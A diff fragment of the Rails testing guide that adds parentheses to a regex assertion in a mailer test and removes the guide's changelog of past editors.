@@ class UserControllerTest < ActionController::TestCase assert_equal "You have been invited by me@example.com", invite_email.subject assert_equal 'friend@example.com', invite_email.to[0] - assert_match /Hi friend@example.com/, invite_email.body + assert_match(/Hi friend@example.com/, invite_email.body) end end </ruby> @@ -945,11 +945,3 @@ The built-in +test/unit+ based testing is not the only way to test Rails applica * "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures. * "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions. * "RSpec":http://relishapp.com/rspec, a behavior-driven development framework - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication) -* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication) - |